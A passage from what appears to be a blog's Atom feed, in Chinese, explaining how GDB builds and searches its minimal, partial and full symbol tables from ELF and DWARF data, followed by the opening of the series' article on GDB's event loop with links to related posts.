&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;minimal symbol table&lt;&#x2F;strong&gt;：最小符号表。直接读取 ELF 文件中 .symtab 的 section。也即链接过程中使用到的符号。最小符号表 “better than nothing” 。最小符号表至少可以满足你通过函数名打断点。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;partial symbol table&lt;&#x2F;strong&gt;：部分符号表。在 minimal symbol table 基础上初步分析调试信息（.debug_info section），得到部分符号的部分信息，可以满足一定的调试要求。并且部分符号表记录了读取完整符号表的函数指针，可以在部分符号表的基础上读取完整符号表。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;full symbol table&lt;&#x2F;strong&gt;：完整符号表。记录了完整的调试信息，占用内存大。gdb 首先是建立部分符号表，只在必要的时候才会建立完整的符号表。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;zui-xiao-fu-hao-biao&quot;&gt;最小符号表&lt;&#x2F;h3&gt;
&lt;p&gt;最小符号表是直接读取 ELF 文件的 &lt;code&gt;.symtab&lt;&#x2F;code&gt; section 得到。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zui-xiao-fu-hao-biao-shu-ju-jie-gou-jian-jie&quot;&gt;最小符号表数据结构简介&lt;&#x2F;h4&gt;
&lt;p&gt;在看 &lt;code&gt;minimal_symbol&lt;&#x2F;code&gt; 之前，先看下 &lt;code&gt;general_symbol_info&lt;&#x2F;code&gt;。&lt;code&gt;general_symbol_info&lt;&#x2F;code&gt; 是在所有 3 种符号（&lt;code&gt;minimal_symbol&lt;&#x2F;code&gt;，&lt;code&gt;partial_symbol&lt;&#x2F;code&gt; 和 &lt;code&gt;(full) symbol&lt;&#x2F;code&gt;）都共有的成员。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;general_symbol_info&lt;&#x2F;code&gt; 主要成员如下（详见 gdb&#x2F;symtab.h）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;name&lt;&#x2F;td&gt;&lt;td&gt;符号的名字。对于 c++ 而言，mangled name 和 demangled name 是不一样的，这里是 mangled name。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;value&lt;&#x2F;td&gt;&lt;td&gt;符号的值。是一个枚举类型，它的含义取决于符号的类型（SYMBOL_CLASS）。比如一个函数符号，这里就对应一个 block，block中包含 pc 范围。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;language_specific&lt;&#x2F;td&gt;&lt;td&gt;特定语言使用，是一个枚举，比如 c++，这里就是它的 demangled name&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;section&lt;&#x2F;td&gt;&lt;td&gt;指明这个符号属于哪个 section，是一个下标索引&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;minimal_symbol&lt;&#x2F;code&gt; 主要成员如下（详见 gdb&#x2F;symtab.h）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;general_symbol_info mginfo&lt;&#x2F;td&gt;&lt;td&gt;即 general_symbol_info&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned long size&lt;&#x2F;td&gt;&lt;td&gt;符号的 size&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;filename&lt;&#x2F;td&gt;&lt;td&gt;符号归属的源文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;type&lt;&#x2F;td&gt;&lt;td&gt;minimal symbol 类型。比如属于 bss 段、text 段等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct minimal_symbol *hash_next&lt;&#x2F;td&gt;&lt;td&gt;拥有相同 hash key 的 minmal symbol 通过 hash_next 链接在一起&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;minimal_symbol&lt;&#x2F;code&gt; 最后存储在 &lt;code&gt;objfile&lt;&#x2F;code&gt; 的 &lt;code&gt;per-bfd&lt;&#x2F;code&gt; 的存储空间，形成 &lt;code&gt;minimal symbol table&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zui-xiao-fu-hao-biao-chuang-jian-liu-cheng&quot;&gt;最小符号表创建流程&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;read_symbols&lt;&#x2F;code&gt;
  &lt;code&gt;elf_symfile_read &lt;&#x2F;code&gt;
    &lt;code&gt;elf_read_minimal_symbols&lt;&#x2F;code&gt;
      &lt;code&gt;elf_symtab_read&lt;&#x2F;code&gt;
      &lt;code&gt;install_minimal_symbols&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;elf_symfile_read&lt;&#x2F;code&gt; 调用 &lt;code&gt;elf_read_minimal_symbols&lt;&#x2F;code&gt; 读取和建立最小符号表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;elf_read_minimal_symbols&lt;&#x2F;code&gt; 首先通过 bfd 库得到 &lt;code&gt;.symtab&lt;&#x2F;code&gt; section 的大小和符号个数。然后调用 &lt;code&gt;elf_symtab_read&lt;&#x2F;code&gt; 函数读取符号表。最后调用 &lt;code&gt;install_minimal_symbols&lt;&#x2F;code&gt; 安装符号表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;install_minimal_symbols&lt;&#x2F;code&gt; 会对符号表进行排序、去重、压缩后存放在 &lt;code&gt;objfile-&amp;gt;per_bfd-&amp;gt;msymbols&lt;&#x2F;code&gt; 中，再给 minimal symblos 建立 hash table，用于对 &lt;code&gt;minimal symbols&lt;&#x2F;code&gt; 进行索引。&lt;&#x2F;p&gt;
&lt;p&gt;此外，符号表除了 &lt;code&gt;dwarf&lt;&#x2F;code&gt; 格式，还有其他格式，例如 &lt;code&gt;stab&lt;&#x2F;code&gt; 格式。符号表的建立流程中还有很多兼容性处理，这里不再赘述。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bu-fen-fu-hao-biao&quot;&gt;部分符号表&lt;&#x2F;h3&gt;
&lt;p&gt;部分符号表是在最小符号表的基础上，尝试读取 dwarf 的调试信息，形成相对比较完整的符号表。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-fen-fu-hao-biao-shu-ju-jie-gou-jian-jie&quot;&gt;部分符号表数据结构简介&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;partial_symbol&lt;&#x2F;code&gt; 成员如下（详见 gdb&#x2F;psympriv.h）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ginfo&lt;&#x2F;td&gt;&lt;td&gt;即 general_symbol_info&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;domain&lt;&#x2F;td&gt;&lt;td&gt;符号的类型。变量、函数、label、type等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;aclass&lt;&#x2F;td&gt;&lt;td&gt;adress class。符号的地址类型，是寄存器、局部变量、typedef、args等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;partial_symbol&lt;&#x2F;code&gt; 以一定的规则组合形成 &lt;code&gt;partial_symtab&lt;&#x2F;code&gt;，一个源文件对应一个 &lt;code&gt;partial_symtab&lt;&#x2F;code&gt;，一个 objfile 中所有 &lt;code&gt;partial_symtab&lt;&#x2F;code&gt; 形成一个链表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;partial_symtab&lt;&#x2F;code&gt; 主要成员如下（详见 gdb&#x2F;psympriv.h）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;struct partial_symtab *next&lt;&#x2F;td&gt;&lt;td&gt;partial_symtab 链表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;filename、 fullname、dirname&lt;&#x2F;td&gt;&lt;td&gt;文件名、完整路径文件 、编译目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CORE_ADDR textlow 、CORE_ADDR textlow&lt;&#x2F;td&gt;&lt;td&gt;文件地址范围&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;void (*read_symtab) (struct partial_symtab *, struct objfile *)&lt;&#x2F;td&gt;&lt;td&gt;用于读取完整符号表的函数指针&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct partial_symtab *user&lt;&#x2F;td&gt;&lt;td&gt;非空则代表本符号表是一个共享的 prtial_symtab，被 user 共享&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct partial_symtab **dependencies&lt;&#x2F;td&gt;&lt;td&gt;指向本符号表依赖的符号表，被依赖的符号表需要先读入。似乎是给 stabs 格式专用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned char readin&lt;&#x2F;td&gt;&lt;td&gt;标识符号表是否已经读入&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;int globals_offset、n_global_syms&lt;&#x2F;td&gt;&lt;td&gt;本文件对应的全局符号在 objfile-&amp;gt;global_psymbols 中的偏移和个数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;statics_offset、n_static_syms&lt;&#x2F;td&gt;&lt;td&gt;本文件对应的静态符号在 objfile-&amp;gt;static_psymbols 中的偏移和个数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct compunit_symtab *compunit_symtab&lt;&#x2F;td&gt;&lt;td&gt;本文件最终编译单元的符号表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;每个源文件还没有完全读入，会先形成部分符号表。其中包含有关特定文件的调试符号在可执行文件中的位置的信息，以及位于该文件中的全局符号的名称列表。它们链接形成部分符号列表，即使完整符号表读入后，它们依然保留。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bu-fen-fu-hao-biao-chuang-jian-liu-cheng&quot;&gt;部分符号表创建流程&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;read_symbols&lt;&#x2F;code&gt;
  &lt;code&gt;require_partial_symbols&lt;&#x2F;code&gt;
    &lt;code&gt;read_psyms&lt;&#x2F;code&gt;
      &lt;code&gt;dwarf2_build_psymtabs&lt;&#x2F;code&gt;
        &lt;code&gt;dwarf2_build_psymtabs_hard&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;建立最小符号表后，随即调用到 &lt;code&gt;dwarf2_build_psymtabs_hard&lt;&#x2F;code&gt;，在 &lt;code&gt;dwarf2_build_psymtabs_hard&lt;&#x2F;code&gt; 中处理 &lt;code&gt;.debug_info&lt;&#x2F;code&gt; 和 &lt;code&gt;.debug_abbrev&lt;&#x2F;code&gt; section 建立部分符号表 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;dwarf2_build_psymtabs_hard&lt;&#x2F;code&gt;
  &lt;code&gt;dwarf2_read_section&lt;&#x2F;code&gt;
  &lt;code&gt;create_all_comp_units&lt;&#x2F;code&gt;
  &lt;code&gt;process_psymtab_comp_unit&lt;&#x2F;code&gt;
    &lt;code&gt;init_cutu_and_read_dies&lt;&#x2F;code&gt;
    &lt;code&gt;process_psymtab_comp_unit_reader&lt;&#x2F;code&gt;
      &lt;code&gt;create_partial_symtab&lt;&#x2F;code&gt;
      &lt;code&gt;load_partial_dies&lt;&#x2F;code&gt;
      &lt;code&gt;scan_partial_symbols&lt;&#x2F;code&gt;
      &lt;code&gt;dwarf2_build_include_psymtabs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;dwarf2_build_psymtabs_hard&lt;&#x2F;code&gt; 首先调用 &lt;code&gt;dwarf2_read_section&lt;&#x2F;code&gt; 将 &lt;code&gt;.debug_info&lt;&#x2F;code&gt; section 读入。然后调用 &lt;code&gt;create_all_comp_units&lt;&#x2F;code&gt; 找到每个 compile unit （cu），记录 cu 个数，然后依次读取 cu 的 offset、length 等信息。最后调用 &lt;code&gt;process_psymtab_comp_unit&lt;&#x2F;code&gt; 处理每个 cu 的信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;init_cutu_and_read_dies&lt;&#x2F;code&gt; 首先读取 &lt;code&gt;.debug_info section&lt;&#x2F;code&gt; 的 &lt;code&gt;Abbrev offset&lt;&#x2F;code&gt; ，该 &lt;code&gt;offset&lt;&#x2F;code&gt; 是本 cu 在 &lt;code&gt;.debug_abbrev&lt;&#x2F;code&gt; 中的偏移。然后读取该 cu 的 &lt;code&gt;.debug_abbrev&lt;&#x2F;code&gt; section。接着根据 abbrev 读取 comiple unit 的 DIE。&lt;&#x2F;p&gt;
&lt;p&gt;在读取 cu 信息后，调用&lt;code&gt;process_psymtab_comp_unit_reader&lt;&#x2F;code&gt; 处理该 cu 的符号信息。由于一个 cu 对应一个 partial symtab（pst），根据文件名、路径、完整符号表调用函数等信息通过 &lt;code&gt;create_partial_symtab&lt;&#x2F;code&gt; 函数建立符号表，并添加到 &lt;code&gt;objfile-&amp;gt;psymtabs&lt;&#x2F;code&gt; 中，并设置 pst 的 &lt;code&gt;globals_offset&lt;&#x2F;code&gt; 和 &lt;code&gt;static_offset&lt;&#x2F;code&gt; 等信息。&lt;&#x2F;p&gt;
&lt;p&gt;建立 pst 后，调用 &lt;code&gt;load_partial_dies&lt;&#x2F;code&gt; 将感兴趣的 dies 读入，这里只读入本文件全局或者静态变量相关的 die。比如 &lt;code&gt;DW_TAG_subprogram&lt;&#x2F;code&gt; 是代表一个函数的 die，&lt;code&gt;DW_TAG_variable&lt;&#x2F;code&gt; 代表变量的 die。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;scan_partial_symbols&lt;&#x2F;code&gt; 解析这些 dies，不同 die 有不同的处理函数，得到 global symbols 和 static symbols，并存放到 &lt;code&gt;objfile-&amp;gt;global_psymbols&lt;&#x2F;code&gt; 和 &lt;code&gt;objfile-&amp;gt;static_psymbols&lt;&#x2F;code&gt; 中，得到该文件的全局符号和静态符号信息，但这里不包括局部符号。这里顺便说下，对于函数符号，&lt;code&gt;psym-&amp;gt;ginfo.value.address&lt;&#x2F;code&gt; 存放的是函数首地址，对于全局或者静态变量，存放的是变量地址。&lt;&#x2F;p&gt;
&lt;p&gt;最后，还需要调用 &lt;code&gt;dwarf2_build_include_psymtabs&lt;&#x2F;code&gt; 处理本文件包含的头文件的 pst。这里只会为本文件实际用到的头文件建立 pst（例如，你可能 include 了一个不需要的头文件，那则没必要为它建立 pst）。这就需要分析 &lt;code&gt;.debug_line&lt;&#x2F;code&gt; 的信息了。&lt;code&gt;.debug_line&lt;&#x2F;code&gt; 中的行信息也是以 cu 为单位存放的。逐行解析&lt;code&gt;.debug_line&lt;&#x2F;code&gt; 中的 opcode，有的 opcode 会改变 file 寄存器，并且与当前文件 file 寄存器值不一样，则需要为该 include file 创建 pst， 并加入到 &lt;code&gt;objfile-&amp;gt;psymtabs&lt;&#x2F;code&gt; 中，并记录 include file 的 &lt;code&gt;dependencies&lt;&#x2F;code&gt; 为本文件 pst。&lt;&#x2F;p&gt;
&lt;p&gt;至此，psts 建立完成。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wan-zheng-fu-hao-biao&quot;&gt;完整符号表&lt;&#x2F;h3&gt;
&lt;p&gt;如果 gdb 调试过程中需要的符号信息，超出了 pst 的范围，则需要根据 pst 的函数指针 &lt;code&gt;read_symtab&lt;&#x2F;code&gt; 读取完整符号表。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wan-zheng-fu-hao-biao-shu-ju-jie-gou-jian-jie&quot;&gt;完整符号表数据结构简介&lt;&#x2F;h4&gt;
&lt;p&gt;完整符号表的符号定义在 gdb&#x2F;symtab.h 中。&lt;code&gt;struct symbol&lt;&#x2F;code&gt; 主要成员如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ginfo&lt;&#x2F;td&gt;&lt;td&gt;即 general_symbol_info&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;type&lt;&#x2F;td&gt;&lt;td&gt;data type of value&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;union owner&lt;&#x2F;td&gt;&lt;td&gt;该符号归属的符号表指针&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;domain&lt;&#x2F;td&gt;&lt;td&gt;符号的类型。变量、函数、label、type等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;aclass_index&lt;&#x2F;td&gt;&lt;td&gt;adress class&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned is_argument&lt;&#x2F;td&gt;&lt;td&gt;是否为一个 argument&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned is_inlined&lt;&#x2F;td&gt;&lt;td&gt;是否为一个内连函数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned is_cplus_template_function&lt;&#x2F;td&gt;&lt;td&gt;是否为 c++ 木板函数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;unsigned short line&lt;&#x2F;td&gt;&lt;td&gt;符号被定义的行数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct symbol *hash_next&lt;&#x2F;td&gt;&lt;td&gt;next hash&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;struct symtab&lt;&#x2F;code&gt; 主要成员如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;成员&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;struct symtab *next&lt;&#x2F;td&gt;&lt;td&gt;symtab 链表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct compunit_symtab *compunit_symtab&lt;&#x2F;td&gt;&lt;td&gt;cu symtab 链表&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;struct linetable *linetable&lt;&#x2F;td&gt;&lt;td&gt;本文件的 core address 和 line number 的 map&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;const char *filename;&lt;&#x2F;td&gt;&lt;td&gt;源文件名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;int nlines&lt;&#x2F;td&gt;&lt;td&gt;源文件总行数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;enum language language&lt;&#x2F;td&gt;&lt;td&gt;源文件语言&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;char *fullname&lt;&#x2F;td&gt;&lt;td&gt;完整文件名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;另外，完整符号表定义了 &lt;code&gt;struct pending *file_symbols&lt;&#x2F;code&gt;、&lt;code&gt;pending *global_symbols&lt;&#x2F;code&gt; 和 &lt;code&gt;pending *local_symbols&lt;&#x2F;code&gt; 等信息分别记录 static、global 和 local 符号信息。详见 gdb&#x2F;buildsym.h 。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;wan-zheng-fu-hao-biao-chuang-jian-liu-cheng&quot;&gt;完整符号表创建流程&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;dwarf2_read_symtab&lt;&#x2F;code&gt;
  &lt;code&gt;psymtab_to_symtab_1&lt;&#x2F;code&gt;
   &lt;code&gt;dw2_do_instantiate_symtab&lt;&#x2F;code&gt;
    &lt;code&gt;load_cu&lt;&#x2F;code&gt;
    &lt;code&gt;process_queue&lt;&#x2F;code&gt;
     &lt;code&gt;process_full_comp_unit&lt;&#x2F;code&gt;
      &lt;code&gt;process_die&lt;&#x2F;code&gt;
        &lt;code&gt;read_file_scope&lt;&#x2F;code&gt;
        &lt;code&gt;read_func_scope&lt;&#x2F;code&gt;
        &lt;code&gt;process_structure_scope&lt;&#x2F;code&gt;
        &lt;code&gt;new_symbol&lt;&#x2F;code&gt;
      &lt;code&gt;end_symtab_get_static_block&lt;&#x2F;code&gt;
      &lt;code&gt;end_symtab_from_static_block&lt;&#x2F;code&gt;
        &lt;code&gt;end_symtab_with_blockvector&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;dwarf2_read_symtab&lt;&#x2F;code&gt; 首先调用 &lt;code&gt;psymtab_to_symtab_1&lt;&#x2F;code&gt; 包含依赖文件在内的所有文件的 符号表。 &lt;code&gt;psymtab_to_symtab_1&lt;&#x2F;code&gt; 再调用 &lt;code&gt;load_cu&lt;&#x2F;code&gt; 读取 cu，加入到 queue 中，然后调用 &lt;code&gt;process_queue&lt;&#x2F;code&gt;-&amp;gt;&lt;code&gt;process_full_comp_unit&lt;&#x2F;code&gt;-&amp;gt;&lt;code&gt;process_die&lt;&#x2F;code&gt; 处理每个 die，建立完整符号表。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;process_die&lt;&#x2F;code&gt; 根据不同 die 进入不同的分发函数进行处理。比如 &lt;code&gt;read_func_scope&lt;&#x2F;code&gt; 函数：将局部变量放到 &lt;code&gt;local_symbols&lt;&#x2F;code&gt;、file_static 变量符号放到 &lt;code&gt;static_symbols&lt;&#x2F;code&gt;、global 符号放入到 &lt;code&gt;global_symbols&lt;&#x2F;code&gt;。函数创建 &lt;code&gt;block&lt;&#x2F;code&gt;，&lt;code&gt;block&lt;&#x2F;code&gt; 的 &lt;code&gt;startaddr&lt;&#x2F;code&gt; 和 &lt;code&gt;endaddr&lt;&#x2F;code&gt; 对应函数的 pc 地址范围，将局部符号添加到 &lt;code&gt;block-&amp;gt;dict&lt;&#x2F;code&gt; 中，并将函数的 &lt;code&gt;symbol&lt;&#x2F;code&gt; 和 &lt;code&gt;block&lt;&#x2F;code&gt; 绑定，再将该&lt;code&gt;block&lt;&#x2F;code&gt; 放入&lt;code&gt;pending_blocks&lt;&#x2F;code&gt; 中。&lt;&#x2F;p&gt;
&lt;p&gt;最后，&lt;code&gt;end_symtab_with_blockvector&lt;&#x2F;code&gt; 构建 &lt;code&gt;static_blocks&lt;&#x2F;code&gt;，将 &lt;code&gt;file_symbols&lt;&#x2F;code&gt; 添加到它的 &lt;code&gt;dict&lt;&#x2F;code&gt; 中。构建 &lt;code&gt;global_blocks&lt;&#x2F;code&gt;，将 &lt;code&gt;global_symbols&lt;&#x2F;code&gt; 添加到它的 &lt;code&gt;dict&lt;&#x2F;code&gt; 中。最后将 &lt;code&gt;static_blocks&lt;&#x2F;code&gt; 、&lt;code&gt;globla_blocks&lt;&#x2F;code&gt; 和 &lt;code&gt;pending_blocks&lt;&#x2F;code&gt; 组成 &lt;code&gt;blockvector&lt;&#x2F;code&gt;。最后放到 &lt;code&gt;symtab&lt;&#x2F;code&gt; 的 &lt;code&gt;compunit_symtab&lt;&#x2F;code&gt; 中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-hao-biao-de-shi-yong&quot;&gt;符号表的使用&lt;&#x2F;h2&gt;
&lt;p&gt;使用符号表的接口为 &lt;code&gt;lookup_symbol&lt;&#x2F;code&gt;。根据当前 pc，找到当前 block，在该 block 的 dict 中查找所需的符号（根据符号名），若找到，则返回。否则在 &lt;code&gt;static_block&lt;&#x2F;code&gt; 中 &lt;code&gt;dict&lt;&#x2F;code&gt; 查找，若找到，则返回。若还找不到，说明不在当前 cu 中，接着调用 &lt;code&gt;lookup_global_symbol&lt;&#x2F;code&gt;。在 &lt;code&gt;lookup_global_symbol&lt;&#x2F;code&gt;-&amp;gt;…-&amp;gt;&lt;code&gt;lookup_symbol_in_objfile&lt;&#x2F;code&gt; 中，先调用 &lt;code&gt;lookup_symbol_in_objfile_symtabs&lt;&#x2F;code&gt;，若找到，则返回。否则，这个时候需要遍历 psts，在 &lt;code&gt;obifile-&amp;gt;global_symbols&lt;&#x2F;code&gt; 查找，找到对应的 pst，进入完整符号表的构建。这里也可以看到，只在需要的时候才会建立完整的符号表。在完整符号表建立后，上述查找符号表的过程中就一定能够找到所需的符号了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GDB 源码分析系列文章二：gdb 主流程 Event Loop 事件处理逻辑详解</title>
        <published>2024-11-06T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章二-gdb-主流程-event-loop-事件处理逻辑详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章二-gdb-主流程-event-loop-事件处理逻辑详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gdb-源码分析系列文章二-gdb-主流程-event-loop-事件处理逻辑详解/">&lt;h1 id=&quot;gdb-yuan-ma-fen-xi-xi-lie-wen-zhang-er-gdb-zhu-liu-cheng-event-loop-shi-jian-chu-li-luo-ji-xiang-jie&quot;&gt;GDB 源码分析系列文章二：gdb 主流程 Event Loop 事件处理逻辑详解&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;系列文章：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124565170?spm=1001.2014.3001.5501&quot;&gt;GDB 源码分析系列文章一：ptrace 系统调用和事件循环（Event Loop）&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501&quot;&gt;GDB 源码分析系列文章二：gdb 主流程 Event Loop 事件处理逻辑详解&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124961051?spm=1001.2014.3001.5502&quot;&gt;GDB 源码分析系列文章三：调试信息的处理、符号表的创建和使用&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;125694365?spm=1001.2014.3001.5502&quot;&gt;GDB 源码分析系列文章四：gdb 事件处理异步模式分析 ---- 以 ctrl-c 信号为例&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;126069052?spm=1001.2014.3001.5502&quot;&gt;GDB 源码分析系列文章五：动态库延迟断点实现机制&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
